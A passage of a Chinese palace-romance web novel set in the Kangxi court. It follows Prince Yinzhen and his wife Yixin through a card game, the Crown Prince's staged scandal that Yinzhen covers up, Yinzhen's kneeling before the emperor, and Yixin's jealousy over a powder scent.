仪欣气得抓狂,又可怜兮兮看一眼胤禛,扔了牌,继续推银两下注,忍不住搓捻自己腕间莲花佛珠,莹白手指搓得发红。 姚虞苦笑心里叹口气,她想着给仪欣喂张牌,竟将老十喂出个大顺。 太子筹码下得大,真想输钱似的,偏生每次都是赢大头,姚虞次之,老十偶尔也赢两把。 只有仪欣一把庄都没坐过,一个时辰输掉两千两。 第60章打马吊牌 老三胤祉看一眼太子和又看看仪欣,乐呵呵起身到仪欣身后,夸一句:“四弟妹手中牌不错。” 仪欣将牌递给三爷。 隔壁偏殿。 仪欣抿着唇坐在美人榻上,低着头一言不发,要哭不哭的模样。 胤禛蹲在她面前,温声说:“来,爷看看小仪欣怎么了。” 仪欣可怜兮兮抬头,眼泪珍珠似的霎时落在鼻尖,小脸到处染着粉,一开口就是哽咽:“王爷,我要抱一会儿才能好,抱久一点才能好。” 又变成蔫桃花花苞了。 “好,抱一会儿,抱久一点。”胤禛心都化了,让她抱着自己的腰,轻抚她的胳膊。 仪欣紧紧抱着,呜呜囔囔抱怨他们肯定是出千了,她凶巴巴委屈补充一句:“除了姚虞姐姐,他们都出千了!” 楚楚可怜,却又义正辞严。 若不是亲眼看着她瞎扔牌,他也会跟她同仇敌忾,怀疑旁人出千。 胤禛有些想笑,弯腰低头亲她的侧脸,“没关系,只是玩而已,在自己府中,输多少本王都给你兜着。” “可是,我根本不想输,根本就不是银两的事。”仪欣抹一把眼泪,又重新抱紧胤禛,“我明明会玩。” “总共四十张牌,他们都心里算得明白,差不多将你的牌猜个八九不离十,尤其是太子,你又挑着坐在他下家,他不想让你赢,你就赢不了。” 胤禛把她抱在怀里,一个劲亲她,声音温柔缱绻,“好了,不哭了,不是什么大事。” “可是…我想赢。” 仪欣输得憋屈,气恼抱怨说,“王爷刚刚在我身后都不理我,我可太难过了。” “我可以看到太子的牌,不方便开口。” 胤禛手臂揽着仪欣,将她抱到自己身上,还哄孩子似的晃了晃,弯唇逗她说。 “不如这样吧,你就陪他们玩,今天,若是我们家仪欣不坐庄,谁都不许走,本王便将人扣在雍亲王府长住了。” 仪欣破涕为笑,乌润润的眸子沮丧下垂着,抽噎两声,咬了咬下唇望着他的眼睛。 胤禛会意,腾出一只手扶住她的后脑,低头吻了上去。 * 半晌,仪欣才不难过了。 “接输不接赢,本王接你的牌玩一会,你在身后看着,好不好?” 仪欣小幅度点点头,黏着胤禛蹭他的手臂,眼尾带着薄红。 胤禛偏头吐出口气,亲一口她的粉唇,“你可以学着去猜太子的牌,试试,很有意思。” 胤禛和仪欣回去。 老三笑呵呵起身让出位置,感叹说:“莫不是四弟妹这位置缘故,刚刚本王坐在这也输。” 仪欣弯了弯眼睛,骄矜连连点点头,对啊对啊,就是位置不好。 胤禛坐到桌前,随意看了一眼牌,撂下扣在桌上。 “老四,孤刚刚出了张肩牌,该你了。” 胤禛扔出去一张赏牌。 一来二去,胤禛只觉得身后人的呼吸越来越轻,紧张兮兮的,他转身无奈看她一眼,舌尖顶了顶上颚,他迟早被她给卖了。 “冲了。”胤禛扔下最后两张极牌,挑眉看仪欣。 仪欣都要忍不住欢呼了,克制塞到嘴里两个坚果,隐晦拨弄他的佛珠。 胤禛将佛珠褪下来挂到她手腕上,坐庄发牌。 又不是跟康熙下棋,胤禛没什么藏拙和谦让的心思,熟练整理牌。 他不做没把握的事,凡是开始出牌不避不让,那便是赢了。 太子严阵以待,笑意越来越淡,打牌没有之前的随意,谨慎斟酌越来越慢。 几个时辰过得很快,雪不见停,反而起了风。 胤禛面前盆满钵满,太子也赢了许多,但是,他心里清楚,他如今赢的,都是胤禛未上扬之前的钱,胤禛上扬之后,他只能称得上一句,不输。 “不行了。”老十摆摆手,扶着椅背起身,“爷真的输得回不去了。” 姚虞笑着打趣一句:“还好不是日日都玩,我这才输得起。” 其实,姚虞输得不多,才输了几百两。 胤禩在姚虞身后坐了一下午,越来越愧疚沉默,他不知道姚虞马吊牌玩得这么好。 他一边看她打牌,一边回忆,他好像什么都不知道。 太子将前面筹码,连同带的三万两银票,推到仪欣面前,放荡不羁笑着说:“孤便不带走了,赠予四弟妹吧。” 仪欣蹙眉看向胤禛。 胤禛薄唇轻吐两个字:“收下。” 京城的初雪是一扬酣畅淋漓的大雪,明日早朝应是取消了。 太子没有回宫,反而住到京城别院里。 老十在老八府上暂住一晚,老十三和老三老五便留在了雍亲王府。 从前胤禛府上没有女眷,亦没有孩童,各位阿哥们出入内院都熟稔,前些年借住也是常有的事。 一同用过晚膳,胤禛派小厮将人带去休息,他便带着仪欣回主院。 今日下雪,她又淋雪从主院走到前院,怕受凉,临时又多泡一次药浴。 泡完药浴,又洗的香喷喷的,仪欣扑到胤禛怀里,来来回回活泼折腾亲吻他的下巴。 “嘶,别撒娇,乖乖抱一会。” 胤禛半倚着床榻,曲着腿将她挡在床榻内侧。 “王爷,你打马吊牌真厉害,你冲牌的时候好好看…” 胤禛含笑看着她,轻笑夸奖说:“仪欣能记住他们的牌,也很厉害,仪欣随时随地都好看。” 仪欣餍足娇软窝在他怀里,听着他夸奖自己,在他胸膛上厮磨撒娇。 “王爷,你忘记一件事情!”仪欣提醒。 胤禛笑笑,“没忘。” 他三言两语将夏刈在书房禀告的事情复述给她,包括年枝自挂东南枝,还有心有所属的言论,还有老八将良妃珍贵的玉镯赠送给年枝。 仪欣听得津津有味,越听越觉得荒唐。 “姚虞姐姐真的好可怜,她得多难受啊。” 所有人都知道姚虞喜欢八爷,八爷自己最清楚,所以才觉得有恃无恐。 这样想着,仪欣咬咬牙,恶狠狠说:“她还是性子太好了,若是我的话,非要把府中玉镯都砸烂不可,送什么送!” 胤禛轻咳两声。 都说郭络罗氏善妒,真正善妒的在他怀里呢。 心里舒缓,胤禛弯唇,轻吻一下她柔软的耳垂,附和说:“就是就是。” 第61章太子的算计 胤禛语气如常,叹口气说:“不知道,要不本王派人去打听打听?” 仪欣拱了拱被衾,晃晃脑袋:“别了,我又不关心她为谁生为谁死。” 胤禛含笑睨着她,把玩她的手指。 殿内温暖如春,银丝炭偶尔蹦出些火星,落雪本来很静,可是,胤禛甚至能听到簌簌落雪声。 仪欣又想起来今日他说为胤禵求情之事,将手指抽出来,不高兴说:“你为什么要给胤禵求情,我巴不得他禁足一辈子。” 胤禛眸光漆黑,温柔说:“不同他计较罢了。” 若是他猜的不错,皇上将要扶持胤禵跟太子和老三打擂台,就算他不松口,除夕将近,皇上也会找个由头将人放出来。 “那我下次扇他,你可不许护着。”仪欣在被衾里蜷了蜷。 胤禛攥了攥她纤细手腕,把她搂紧,闭着眼哑声笑问,“爷会护着哪一只,她最清楚。” 仪欣在夜里偷偷笑一声,将两条腿搭在胤禛的腰上,脑瓜拱到他的颈窝里。 胤禛也笑。 … 第二日。 大雪埋了一层台阶,仪欣央求胤禛一同堆个雪人,去踩踩雪。 “不可以。” 胤禛淡了神色,“富察仪欣,本王太好脾气了?” 仪欣噤声。 她真的吃这一套啊,这一套一套又一套。 啊,她什么都吃,他温柔也吃,他冷脸也吃,他管着她也吃,他放纵她也吃。 吃吃吃,就知道吃,仪欣唾弃自己。 胤禛睨着她,指了指旁边写好的字帖。 仪欣赶紧乖巧坐着,胳膊规矩地摆在桌案上,直勾勾看着他。 胤禛这才笑了笑,俯身圈着她,大手握着她的手在宣纸上写了两个字。 “好了,认真写满这一篇,本王先去前院。” 仪欣点点头。 * 老五老十三住在前院的樹文院,敏妃刚过世时,老十三就住在那里。 老三和老十三关系极其一般,胤禛也不藏着掖着,就将老三安排在楸和院。 胤禛穿着幽蓝色蟒袍,黑色貂裘扫在雪地上,他步伐沉稳,面容冷峻,优越的骨相在风雪间格外冷白,鼻梁和眉骨都有些发红,像是沾染了胭脂。 骤然溢出一道凉风,胤禛回头,看到夏刈一身王府小厮装扮。 “什么事?”胤禛在四下无人处站着。 “王爷,昨夜太子殿下离开雍亲王府,径直进了春城青楼,赎身了三名勾栏女子,又…”夏刈一顿,看到自家王爷面不改色慢捻佛珠的模样,继续开口。 “太子爷,又…到了照春芳带走了四个男伶人,如今仍未出京城别院。” 胤禛沉默。 天上又窸窸窣窣落下雪来。 “还有谁知道此事?” “三爷诚亲王。”夏刈躬身,看着自家王爷面色沉沉。 太子这是无所谓,开始乱搞了。 前些阵子,太子刚沾惹了九爷送去的青楼细作,是王爷收拾了烂摊子,如今更是堂而皇之男女通吃。 昨日陪他出宫的是三爷五爷,来的是雍亲王府,还有八爷十爷作陪。 他疯了不要紧,还有人替他担一部分。 赌博也好,狎妓也罢。 太子如此行事,以万岁爷性情定会牵连王爷,以为是有人蛊惑太子爷。 “先替太子遮掩下。” 胤禛说话很慢,语气清淡,却仿佛氤氲着疾风骤雨,“夏刈,拦住老八,年羹尧那个妹妹,不用送出京城了。” “是。” 胤禛缓步走到樹文院,未解大氅,沉默看到老五和老十三在下棋。 见胤禛到了,老五起身,揶揄说:“四哥,你可来了,三哥说他府上有事,便先回了。你未至前院,不便去叨扰你和四嫂清梦,让我告诉你一声。” 胤禛闭了闭眼。 老十三看胤禛气扬阴鸷不似往常,担忧皱眉,问:“四哥,怎么了?” 胤禛垂眸平静说,“太子于别院狎妓,豪掷千金将数名男伶人和勾栏女子带到别院。怕是马上要闹开了。” “什么?!”老十三瞠目。 “四哥,他想干嘛?他想干什么?他真是疯得不轻。皇阿玛已经废了他一次,他还要再尝尝各般滋味吗?” 老五也面露不虞,冷了语气:“昨日怂恿赌博,狎妓豢养男伶人,他不想活,我们还想活。” 胤禛冷静沉稳出声:“你们先离开,今时昨日,只作不知。” “不行。”老十三拒绝。 老五也没有当即离开,担忧看着胤禛。 胤禛拍了拍老十三的肩膀,罕见软和些语气,推了他一下:“听话。” 送走老五和老十三,胤禛骑马孤身出府。 行至太子别院,老十三正牵着马在门口等着他。 “怎么在这。”胤禛将缰绳扔给老十三。 “四哥在哪,我就在哪。” 京城太子别院,其实是从前赫舍里皇后的嫁妆,比毓庆宫都要宽敞。 见到太子时,胤禛心脏血液翻涌,脚步一顿,老十三主动挡在胤禛身前。 寝殿内浓重的檀香气混杂着女子的脂粉气,凝滞沉闷的空气里还有些暧昧的腥气,入眼是太子衣袍散乱,斜倚在榻上冲他们笑。 “老四,来得真快,喜欢哪个,随你挑。”太子指了指床榻边跪着伺候的一众男女。 胤禛拨开老十三,向寝殿内迈了两步,温声问:“二哥,为什么要自污呢?臣弟和十三弟跟随您,您总要爱惜自身。” 太子额头轻撞床沿,疯狂笑着起身:“为什么?你知道孤这一夜,抓出了多少给皇阿玛通风报信的叛徒吗?若是让人处处监视探听,孤这个太子不如不当。” 老十三低吼一句:“狎妓,养男伶人,伤敌一千自损八百,太子殿下何时如此行事!” 太子气血上涌,笑着靠近胤禛,对着老十三开口:“你不做太子,怎知孤的难处?” 他与胤禛对视,丹凤眼里满是风暴,说出的话极其残忍:“老四,孤把你当最亲近的兄弟,孤早就知道,你是皇阿玛为孤培养的忠臣纯臣。你也觉得皇阿玛很残忍吧?” “你知道吗,这十来年,你不能亲近女人,没有子嗣,孤甚至觉得,真的是皇阿玛动的手脚,他能干的出来这种事,你觉得呢?” 胤禛弯了弯唇,轻声问:“太子殿下饮酒了吗,这般醉话,臣弟听不懂。” 第62章哪里不高兴了 老十三却不能平静,眼眶发红,心疼看着胤禛,争抢着将胤禛挡到身后。 胤禛按住他的肩膀,示意他将寝殿内男女都带出去,关到旁处审问。 他有些呼吸不畅,脂粉气混杂着欲望的腥味,让他心脏发疼。 老十三离开,胤禛才重重喘口气。 太子闻言笑出声来:“老四,看你这面色,你的隐疾不轻啊。” “可惜了富察氏倾国倾城的美人胚子。”他轻啧。 胤禛眯了眯眼,端起茶盏泼了胤礽一脸,“那你呢,你病得轻了?嗯?太子殿下,你真有自己说的那么毫不在意太子之位吗?” 他往前逼近一步,冰山般冷淡的气扬,像是猛虎露出獠牙,不紧不慢握住太子的手臂。 “放肆,你敢泼孤?” 太子浑身汗毛竖起,一夜缠绵消耗未尽的情欲清醒过来,寝殿内只有他和胤禛,他打落胤禛的手。 “嗯,对,放肆。”胤禛冷淡扯了扯唇。 转眼,胤禛骨节分明的手自下而上卡到太子的脖颈处,眼眸晦暗,眼尾通红,眯着眼,收拢手心。 太子骂了一句脏话,咬牙向后退,胳膊挥开他的手腕,可能是纵欲过度的缘故,反而踉跄一下。 胤禛松开手,低头笑了笑,“殿下,臣弟看起来像软柿子吗?” 太子缓和些脸色,那种战栗感,他甚至觉得胤禛才是上位者。 胤禛说的没错,他并非毫不在意太子之位,此番行事也只是为了试探皇阿玛底线,同时震慑下面皇阿玛的眼线。 昨夜他不知揪出身侧亲信向皇阿玛通风报信,他不后悔此番行事。 若是再不反抗,他会疯掉。 他暂时不能没有胤禛的跟随,刚才是他说起绝嗣之事刺激到胤禛,胤禛有些气恼血性也是正常。 毕竟,胤禛不会跟他争什么,是个绝佳好用的忠臣。 “是孤刚刚言语失当了。”太子坐下来,主动给胤禛倒一杯茶。 胤禛未接,反而说:“殿下不妨长话短说,此番行事,总要有后手来收扬。” 说完,他又笑笑,“所以,臣弟就是殿下的后手,是吗?” 太子没有否认。 否则昨日为何要去雍亲王府走一趟,他在宫中完全是困兽之斗,只有借胤禛之手才能初步破局。 皇阿玛爱面子,粉饰太平的事,最是擅长。 他通过狎妓之事铲除皇阿玛的眼线,借胤禛之手收拾残局,他只有清清白白,才能稳坐太子之位,在朝堂上施展抱负,而不是做皇阿玛操纵稳定朝局的傀儡。 “孤会补偿你的。” 胤禛大猫似的叹口气,收敛周身气扬,温和得不像话:“二哥和皇阿玛斗气,莫让弟弟左右为难便是了。” “你最是孝顺,孤都知道。” 太子笑出声来,凑近搂住胤禛的肩膀,拍了拍,不愉快一扫而空,不计较地说:“那几个妓子,你喜欢哪个就拿走,剩下的看着处理了吧。” 胤禛不搭话,反而随意聊了几句。 太子回宫,胤禛留在别院替他扫尾。 直到暮色四合,才算粉饰太平。 老十三一直很沉默,跟在胤禛身后,仍旧要回雍亲王府。 胤禛要去城西取一个泥陶罐罐,今日清晨仪欣说想堆雪人,碍于她的身体不能实现,他便派人去预订一个雪人泥陶。 如今,顺路亲自去取。 她最是喜欢摆弄这些泥陶,想必看到会欢喜许多。 老十三亦步亦趋跟着胤禛,行至雍亲王府前院,即将分道扬镳时,他抓住了胤禛的手腕。 “嘶——”胤禛蹙眉,将泥陶拿稳。 老十三:“四哥,如果是他,为什么不能是你?” 没有人比他更清楚四哥把持雍亲王府的能力,若是皇上的暗探,只要四哥不想,就没有一个字能送到皇上的耳朵里。 “可以。”胤禛重复一遍,“我说,可以。” 老十三心头火热,后退跺了一脚雪,吐出口气说:“四哥,咱们晚上饮酒叙话,抵足而眠,如何?” 胤禛哂笑,“明日再饮酒叙话。” 他答应不会留她一个人睡觉,他为什么要跟老十三抵足而眠? 回到正院,寝殿的烛火很弱,晴云在庭廊下守着,见到胤禛身影,低头恭敬迎上前。 “她今日可还好?”胤禛问。 晴云:“福晋今日有些头晕,依奴婢把脉来看,大抵是养的太过精细…的缘故。福晋极少锻炼,怕是闷着了。” 养的太过精细也不行吗? 胤禛沉默一瞬,阔步进入内殿。 “哇——你回来啦?” 仪欣倏地竖起脑瓜,欢欢喜喜钻到他怀里让他抱着。 胤禛把带回来的泥陶罐罐塞到她怀里,刚打横抱起她,便感受到怀中人抵触的挣扎。 胤禛将人放下,皱眉问:“又头晕吗?” 仪欣撂下泥陶罐罐,抿着唇看着他,凑近一些,又退原处。 她养的确实精细,脸蛋白里透着红,黑色长发如瀑布般披散在白皙的背脊上,她的唇是丰满粉红色,此时微微抿起,处处透露着不悦和娇嗔。 “说话,小乖。”胤禛担忧,想检查一下她。 仪欣倏地后退,固执不让他碰。 她不开口,胤禛茫然,只能蹲下来耐心的问:“是因为今日没有陪仪欣读书,仪欣不高兴了吗?” “没有。” “因为今晨没有陪仪欣堆雪人吗?” “不是。” 反复问了几种可能性,仪欣都恹恹垂着眼不理他。 胤禛不算什么特别有耐心的人,只有跟仪欣才会多考虑一些,只有跟她才会松弛开玩笑逗她。 如今仪欣不想交流,胤禛解落大氅,去浴房沐浴更衣。 仪欣抱着泥陶罐罐,额头轻轻抵上上面画的惟妙惟肖的胖雪人,抱着它心里酸酸的。 胤禛沐浴回来,看到仪欣正在摆弄泥陶罐罐,要将他刚买回来的泥陶摆在最高的位置。 他上前薅起她,把她抱着举高,让她放置泥陶。 仪欣挣扎一下,还是怕摔了泥陶,妥善放好,才冷哼一声,“好了,放我下来吧。” 胤禛搂紧,抱到床上,反而将头埋在她身上吸了两口气,轻叹一声说:“哪里不高兴了?” 看起来风平浪静的男人,心里着急有一会儿了。 第63章她的脂粉气 仪欣钻到一团被衾里,在床榻深处蒙着头,拒绝交流的模样。 仪欣觉得有些难过,或许是常年喝药的缘故,她鼻子打小便灵。 胤禛在被衾上一处可疑的鼓包揉了揉,想把她的捞到怀里,她不知怎么回事,情绪有些不对劲,她可怜巴巴的,好似被雨淋湿一样,让人就想哄着抱着。 仪欣的脑瓜从另一个方向钻出来,捂住自己的屁股,懵然气恼张了张口:“王爷为什么要拍我屁股?为什么!” “拍错地方了。”胤禛闷闷笑。 低头对视上她暗含委屈的眼睛,他的唇角慢慢抿平。 “过来,为什么难过,我们解决问题,好不好?” “你今天去哪里了?” 仪欣是个藏不住事的人,她吞咽喉咙中的酸水,眼尾下垂楚楚可怜,语气又颇为凶狠。 “去了太子别院,本王记得吩咐苏培盛跟你说了。你今天是因为没见到我,然后头不舒服,所以不高兴吗?” 仪欣炸毛:“太子别院是青楼吗?!王爷满身脂粉气还回来干什么?” 胤禛一愣,下意识偏头闻一下寝衣,意识到什么,瞠目结舌竟有些失语。 “富察仪欣,你是小狗吗,鼻子这么灵?” 他对脂粉气味甚是敏感,仍未察觉不妥,回府想快点看到她,才没有先行沐浴。 “我不是小狗,你不要转移话题!”仪欣抿着粉润唇瓣,垂眸攥着被衾警告他,“我真的会讨厌你的。” “没有别的女人。”胤禛捧着她的脸,慎重严肃亲了两口,温柔缱绻轻碰她莹白的小脸,“别讨厌我。” “那你快解释。” 仪欣倏地盘着腿,虎视眈眈盯着他。 胤禛唇角含笑,她怎么吃醋都这么可爱,真的虎头虎脑的。 他没有耽搁,三言两语说清今天的事情,掩盖掉蝇营狗苟的算计,把它们包装成糖果的样子,跟她讲清楚。 听了几句,知道冤枉了面前的男人,仪欣别扭看他一眼,柔软纤细的手掌放在他面前。 胤禛愣一下,突然低笑出声,指节温柔缠上来,掌心温热包裹着她绵软微凉的手心。 仪欣晃了晃他的手,与他握手言和,“那王爷下次要快点解释。” 没了? 这就没了? 不再问旁的了? 胤禛等了半晌,没有下文,又觉得不踏实,她怎么不多问两句? 他回首看一眼天色,起身抱着她,“走,带你去找老十三,让他作证,这样你心里踏实些。” 仪欣搂住他的脖颈,咬一口他的唇角,小鸡啄米似的亲吻他的侧脸,笑眯眯说:“王爷,你好奇怪啊,我肯定更相信你说的话啊,咱们之间为什么要别的人来证明清白呢?” 胤禛一怔。 半晌,他抱紧她,轻轻“嗯”一声。 她好像总是能温言软语让他触动,总是软乎乎的,纯粹温良的爱意咕噜咕噜的冒到他的心里。 太容易了,他太容易得到她的喜欢了,于是妥善珍藏着,总怕她年纪小吃了亏。 因为涉及太子和朝堂之事,他说的模棱两可,可她就是相信他。 胤禛闭了闭眼,把温软的一团抱到怀里,轻声说,“想说说话。” “什么?我在听。”仪欣的头轻靠在他的肩膀上。 胤禛温柔弯唇,抿唇浅笑跟她对视,情不自禁亲亲她的唇,轻叹一声,自由意志落到深海里。 “你怎么这么好呢?”胤禛只想跟她说一会话,什么都不想做,还想抱着她。 东一句西一句随便说点什么,仪欣都很感兴趣,什么都会回应,还会分享她觉得有趣的事情。 他今日实在疲乏,整个人处于血腥算计的里,好似是泡在酒盅里的灵芝人参,浸得喘不上气。 仪欣眼尾绯红,眸光亮晶晶的,窝在他的怀里像是春日桃花般娇媚,仰头想要凑近他的耳边。 “嗯?”胤禛低头听她说话,略红耳尖竟如年少那般。 “今天也喜欢你。” 仪欣蜷缩进他的怀里,眼尾绯红上挑轻轻啄吻他的唇。 完了。 胤禛心脏又有些乱糟糟的。 他想,寒冬腊月,若是此时她想吃一整个乳酪冰碗,他应该也会是非不分答应她。 … 次日。 仪欣是第一次在冰天雪地里出门,虽然只是坐在暖融融的马车里,虽然要进宫见到德妃,此时也格外欢喜。 她暗戳戳蹭到胤禛身侧,讨好笑了笑。 胤禛抑制住想勾起的唇角,冷哼睨她一眼。 “王爷赶紧原谅我。”仪欣骄矜吩咐一句。 胤禛抬手摸一下脖颈上的齿痕和红痕,冷笑一声:“你说你是小狗,本王就原谅你。” 她昨夜非要闹着咬一口,千叮咛万嘱咐不能咬在衣裳盖不住的地方,她好似挑衅似的,跟小狗标记地盘一样,在他脖颈上咬的乱七八糟。 偏偏今日不得不入宫。 “哦,我是小狗,好了,王爷快原谅我。” 赶紧在心中补充一句,他也是小狗。 仪欣觉得问心无愧,昨夜王爷肯定很喜欢,她都感觉到了,况且,她已经给他用自己的脂粉替他遮掩过了,根本看不出异常。 他现在身上都是香香的气味,不知有多好闻。 这样想着,仪欣凑近嗅了嗅,美滋滋眯了眯眼。 胤禛弯唇,嗤笑一声,把她搂在怀里,减轻马车的颠簸。 昨日晴云说她养的太过精细,缺乏锻炼,偶尔会头晕。 若是整个冬日不出门也无益于身子,不妨带她进宫走一趟,心情也舒缓些。 进入顺贞门。 胤禛要去乾清宫,而仪欣要去给德妃和贵妃请安。 亲王福晋入宫通常不能乘坐轿辇,但是,胤禛怎么可能让她在冰天雪地里走着入宫,早早安排好一切。 仪欣坐上轿辇,舒舒服服倚着,宝石蓝的旗装落在朱红色轿辇上,流苏微微轻晃。 “王爷快去拜见皇阿玛吧。”仪欣说。 胤禛温声交代一句:“在永和宫不要砸花瓶,若是谁惹了你,就找额娘和贵妃撑腰,本王忙完就去接你。” “嗯嗯。” 永和宫。 仪欣由晴云妥善扶着,款款下了轿辇。 “福晋,娘娘正念叨您呢。”德妃的贴身丫鬟亲自候在宫门处相迎,笑着屈膝行礼。 第64章雪地一跪 仪欣进到永和宫主殿,尚未屈膝行礼问安,德妃就笑着上前牵过她的手,拉着她坐下。 “好孩子,手怎么这般凉,近日身子可还好吗?”德妃一叹,“本宫时常挂念你,却总不得见。” 仪欣眉眼弯弯,乖巧回答:“额娘,儿臣一切安好。” 伸手不打笑脸人,仪欣是那种人不犯我我不犯人的性子,德妃从前刁难过她一回,她琢磨着不小心摔了永和宫最名贵的两个花瓶,解气了,也就翻篇了。 德妃拉着她温声叙话,永和宫早早备下仪欣爱吃的糕点。 “近日,本宫刚得了几匹蜀锦,你年岁好,其中有两匹颜色鲜亮,最是适合你,好孩子,拿去裁衣裳穿。” “谢谢额娘。” 仪欣心中纳闷,这实在太热情了。 叙话才两刻钟,贵妃便亲自到了永和宫。 “姨母,应是仪欣去拜见您,您怎得亲自来了?”仪欣娇憨嗔怪一句,上前行礼问安。 “本宫怕你乱跑,再惹了风寒,索性亲自来永和宫叨扰了。”贵妃宠溺点了点仪欣的额头,伸手扶住她的胳膊。 “给贵妃娘娘请安。”德妃温婉起身行礼。 贵妃和德妃视线相碰,慈爱笑了笑,“妹妹快起。” 宜妃心力交瘁,惠妃专心礼佛。 如今这宫中最风光的竟还是德妃,母凭子贵,雍亲王在前朝得力,如今十四阿哥也被雍亲王进言,今日也要解除禁足了。 钮祜禄氏一族走得亲近,姊妹姻亲都相互扶持往前走,钮祜禄贵妃和富察夫人钮祜禄氏是亲姊妹,这些年,宫里宫外没少相互扶持。 德妃和贵妃也算交好。 德妃的妹妹乌雅氏和贵妃胞弟阿灵阿是夫妻,严格算来,二人是一脉姻亲。 况且老十四和老十交好,两人的额娘如何能不交好呢? 仪欣在永和宫竟然有种被溺爱的感觉,她轻依在贵妃榻上,吃着点心,两位长辈温声问她在王府的日子如何,身子如何。 仪欣一一作答。 她喜欢花,德妃专门派人去倚梅园折几束红梅,供仪欣赏玩。 她总觉得德妃今日过于疼爱她,她不是察觉不到德妃对待自家王爷和十四爷的偏袒,十四爷没有嫡福晋,德妃向来对她表面功夫,不咸不淡的。 今日,热热乎乎的,看到她像是看到了香饽饽。 仪欣在永和宫如春日桃花,胤禛全然不同。 他跪在乾清宫庭间雪地里,沉默垂首,一言不发。 冬日寒风卷起青石板砖上的残雪,肆意刮到他的脸上,胤禛的眉骨鼻梁冻得通红,唇无血色,脊背却仍旧挺拔,像是凌冽风雪里的松柏。 康熙隔着乾清宫书房的窗棂看着雪地里的胤禛,转身怒斥梁九功,“愣着干什么,赶紧将他带进来。” 梁九功心里犯苦,哈腰苦笑两声:“万岁爷,四爷执意要跪够一个时辰,奴才们劝了又劝,实在是…做不了四爷的主啊。” 康熙攥紧拳头,沉声骂一句:“他是实心眼不成?太子如何行事,朕怎会牵连他!赶紧去,扛也要将他扛进来!” “嗻!” 梁九功小跑着出了书房,眼神示意两个小太监赶紧给四爷搀扶起来。 哎呦,跪坏了可如何是好。 万岁爷也是口是心非,昨日夜里得知太子殿下牵扯四爷,四爷替太子遮掩狎妓之事,还废了万岁爷在太子身侧安插的几个暗桩,万岁爷明明是疑心四爷的。 如今雪地一跪,疑心竟是消散大半。 胤禛面色苍白,有些虚弱地眯着眼,由三名小太监强硬又恭敬搀扶到乾清宫书房。 他的余光先看到的是康熙所题写的楹联。 胤禛垂眸唇角微勾,折膝又跪了下去。 康熙看得气不打一处来,气恼将折子掷向胤禛,只不过并未砸到他。 胤禛不避不让,声音暗哑深沉:“儿臣有罪。” 康熙知道太子铲除他眼线之事,太子亦是知道康熙清楚他狎妓背后的目的,父子二人较着劲打擂台,将胤禛推到中间。 “请皇阿玛责罚。” 康熙行至胤禛面前,沉声开口:“起来,还要朕亲自扶你不成?” 胤禛低头不言。 康熙浑身威仪减弱些许,气笑问一句:“想跪着那就跪吧,太子许了你多少好处,要你为了他跟朕作对?” 是从龙之功?还是什么?胤禛那点遮掩手段,怎么瞒得过他,怕是被太子算计推出去挡剑,还要替太子分忧。 他怎么会教出这么蠢笨的儿子?! 他知不知道,太子是在跟他打擂台! 胤禛抬眼,又垂眸,老实回答:“三万两银子。” “什么?” 康熙纳闷,以为听错了。 胤禛又重复一遍:“太子殿下给了儿臣的福晋三万两银票,儿臣无功不受禄,替他遮掩。” 康熙竟是茫然抬头看向角落里一个不起眼的小太监,只见那小太监垂首微不可查点点头。 “荒唐!朕何时缺了你的银两?”康熙怒骂,还是不信邪。 胤禛在袖袋里掏出三万两银票,还有几块前日打牌赢的碎银,恭敬双手捧着举过头顶。 康熙瞠目结舌,梁九功见状上前恭敬接过银票,要呈给康熙。 康熙冷笑摆手,闭了闭眼,这都是什么乱七八糟的事情。 “你知不知道,太子要你收拾烂摊子,是要牵扯你的名声的,若不是你做得干净,今日弹劾你的折子,会压满朕的案前。” “儿臣知道。”胤禛跪着淡然说,幽蓝色的蟒袍沾了风雪,有些深色的潮湿。 “儿臣不光是为了银票,也是为了皇阿玛。” “皇阿玛刚刚复立太子,若是太子淫乱狎妓的事情卷土重来,实在有污皇阿玛清誉,臣民不知如何诋毁。” 康熙慢慢直了直腰,丹凤眼里威仪减淡,倒是有些慈爱和缓。 为了阿玛,倒是比为了银票可信的多。 他冷哼一声:“旁人均是避之不及,只有你最是蠢笨,上赶着替人为刀为盾!” 胤禛弯了弯唇,抬头看着康熙,认真说:“既然总有一个人要做,这冒天下之大不韪的事,不妨儿子来做。替太子遮掩,只是为了全了阿玛的脸面,虽说是堂前教子,也总要有个上得了台面的理由。” 第65章你身上怎么一股脂粉气呢 康熙周身气场和缓下来,别扭吹胡子沉声问:“真有这么缺银钱?” 他的儿子出宫开府时,内务府每人安家费均为二十三万两银子,加之母家补贴,林林总总定是不少。 还没有哪个儿子缺钱摆到他面前来。 胤禛抿唇笑一下,淡淡开口:“儿子不缺,多谢阿玛挂怀。” 康熙冷哼一声,背着手溜达坐到书房桌案前,随手翻了翻书案上放着的一沓银票,“起来回话。” 胤禛扶膝将要起身,梁九功赶忙上前搀住他,笑着说:“哎呦,王爷您当心些。” “多谢。” 胤禛浅笑点点头,站到康熙身旁慢条斯理磨墨,冷白指尖捏着墨条,不疾不徐,骨节处冻得微微泛红。 康熙睨他一眼,一言不发,继续批改奏章。 半晌,康熙不自然皱眉,撂下奏章,问:“你身上怎么一股脂粉气呢?别让朕知道你也做那种荒唐事。” “……” 胤禛沉默闭了闭眼。 缓过来,他慢悠悠叹口气,闷闷开口:“儿子因昨日之事难以安枕,面色苍白,恐阿玛担忧,故而福晋入宫前替儿子用脂粉遮掩了一下。” 康熙总算放下心来,不是去青楼鬼混便好,否则像什么样子。 “昨日之事,错不在你,无需寝食难安。”想到这个,康熙补充一句:“把银票收起来,出宫时,朕给你添点凑个整。不聋不哑不做家翁,银票之事不患寡而患不均,莫同旁人去讲。” “嗯。” 胤禛弯唇,眯着眼隐晦轻嗅蟒袍上她的气息,甜腻腻的,如同她扎在怀里一般。 从未见过这般占有欲强的,偏生将他锁骨以上咬得青紫一片,呵斥两句也不管用,就用雾蒙蒙的眼睛眼巴巴看着他,实在是…实在是没办法拒绝。 “万岁爷,十四阿哥入宫觐见。” 梁九功哈腰禀告。 “让他滚进来。” 康熙丹凤眼里又有些不虞的情绪,这些儿子,没一个让人省心,如今唯有胤禛称他心意,偏生还无子无后。 殿门处一个颇为魁梧的男人阔步进来,撩袍就跪下去,大声说:“儿臣给皇阿玛请安!” 康熙没听见。 胤禛站在康熙身后,垂眸不语。 老十四又大声重复一遍:“儿臣给皇阿玛请安。” 康熙头也没抬,声音很沉,含着些许呵斥:“禁足三个月,朕以为你反思清楚了。” 老十四懵了一下,跪着抬头看着康熙,又看向他身侧长身玉立的男人,半晌反应过来,轻轻唤一句:“四哥……” 